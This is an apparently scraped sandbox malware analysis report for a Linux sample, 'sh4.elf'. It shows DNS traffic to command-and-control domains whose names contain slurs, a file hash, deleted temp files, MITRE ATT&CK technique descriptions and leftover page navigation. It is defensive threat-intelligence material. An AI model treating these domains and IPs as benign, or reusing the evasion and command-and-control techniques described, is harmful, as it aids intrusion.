Oct 28, 2024 08:20:37.568074942 CET	192.168.2.13	202.61.197.122	0xa980	Standard query (0)	netfags.geek. [malformed]	256	325	false
Oct 28, 2024 08:20:39.422278881 CET	192.168.2.13	51.158.108.203	0x5cc0	Standard query (0)	yellowchink.pirate. [malformed]	256	327	false
Oct 28, 2024 08:20:51.287831068 CET	192.168.2.13	194.36.144.87	0x68f5	Standard query (0)	netfags.geek. [malformed]	256	339	false
Oct 28, 2024 08:21:02.681298018 CET	192.168.2.13	185.181.61.24	0x918a	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:21:14.583865881 CET	192.168.2.13	51.158.108.203	0xe828	Standard query (0)	yellowchink.pirate. [malformed]	256	362	false
Oct 28, 2024 08:21:15.928225040 CET	192.168.2.13	152.53.15.127	0x69d9	Standard query (0)	netfags.geek. [malformed]	256	363	false
Oct 28, 2024 08:21:27.885289907 CET	192.168.2.13	185.181.61.24	0xaa45	Standard query (0)	netfags.geek. [malformed]	256	375	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:19:25.985872984 CET	152.53.15.127	192.168.2.13	0xb178	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:19:25.985872984 CET	152.53.15.127	192.168.2.13	0xb178	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:19:49.274883032 CET	202.61.197.122	192.168.2.13	0xa739	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:19:49.274883032 CET	202.61.197.122	192.168.2.13	0xa739	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:20:24.664001942 CET	152.53.15.127	192.168.2.13	0x99ef	Format error (1)	netfags.geek. [malformed]	none	none	256	312	false
Oct 28, 2024 08:20:36.553461075 CET	152.53.15.127	192.168.2.13	0x3399	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:20:36.553461075 CET	152.53.15.127	192.168.2.13	0x3399	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:20:39.442353010 CET	51.158.108.203	192.168.2.13	0x5cc0	Format error (1)	yellowchink.pirate. [malformed]	none	none	256	327	false
Oct 28, 2024 08:20:51.298722982 CET	194.36.144.87	192.168.2.13	0x68f5	Format error (1)	netfags.geek. [malformed]	none	none	256	339	false
Oct 28, 2024 08:21:02.715002060 CET	185.181.61.24	192.168.2.13	0x918a	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:21:02.715002060 CET	185.181.61.24	192.168.2.13	0x918a	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:21:14.821659088 CET	51.158.108.203	192.168.2.13	0xe828	Format error (1)	yellowchink.pirate. [malformed]	none	none	256	362	false
Oct 28, 2024 08:21:15.939306974 CET	152.53.15.127	192.168.2.13	0x69d9	Format error (1)	netfags.geek. [malformed]	none	none	256	363	false

Start time (UTC):	07:19:24
Start date (UTC):	28/10/2024
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	07:19:25
Start date (UTC):	28/10/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.07NhP3 (deleted)

/tmp/qemu-open.1F07Q5 (deleted)

/tmp/qemu-open.1QJ3o3 (deleted)

/tmp/qemu-open.2kFad2 (deleted)

/tmp/qemu-open.35uFH1 (deleted)

/tmp/qemu-open.3jeqR3 (deleted)

/tmp/qemu-open.3wuB32 (deleted)

/tmp/qemu-open.4t6783 (deleted)

/tmp/qemu-open.4uv1I3 (deleted)

/tmp/qemu-open.53sGg5 (deleted)

/tmp/qemu-open.6FrDX5 (deleted)

/tmp/qemu-open.6MpK42 (deleted)

/tmp/qemu-open.6okw52 (deleted)

/tmp/qemu-open.7pIZK3 (deleted)

/tmp/qemu-open.9ln2b3 (deleted)

/tmp/qemu-open.9xbcA2 (deleted)

/tmp/qemu-open.AAYu15 (deleted)

/tmp/qemu-open.BcjSp3 (deleted)

/tmp/qemu-open.BuIyz2 (deleted)

/tmp/qemu-open.C1fHH1 (deleted)

/tmp/qemu-open.C8J6B1 (deleted)

/tmp/qemu-open.CFPlb5 (deleted)

/tmp/qemu-open.ChQvd2 (deleted)

/tmp/qemu-open.DFmul5 (deleted)

/tmp/qemu-open.DeIAZ3 (deleted)

/tmp/qemu-open.DxX7E5 (deleted)

/tmp/qemu-open.Dytmt2 (deleted)

/tmp/qemu-open.EX1kS1 (deleted)

/tmp/qemu-open.Et8Tu1 (deleted)

/tmp/qemu-open.EtCM15 (deleted)

/tmp/qemu-open.FA9Oe3 (deleted)

/tmp/qemu-open.FemU83 (deleted)

/tmp/qemu-open.FvvN85 (deleted)

/tmp/qemu-open.GEpRS1 (deleted)

Linux Analysis Report
sh4.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre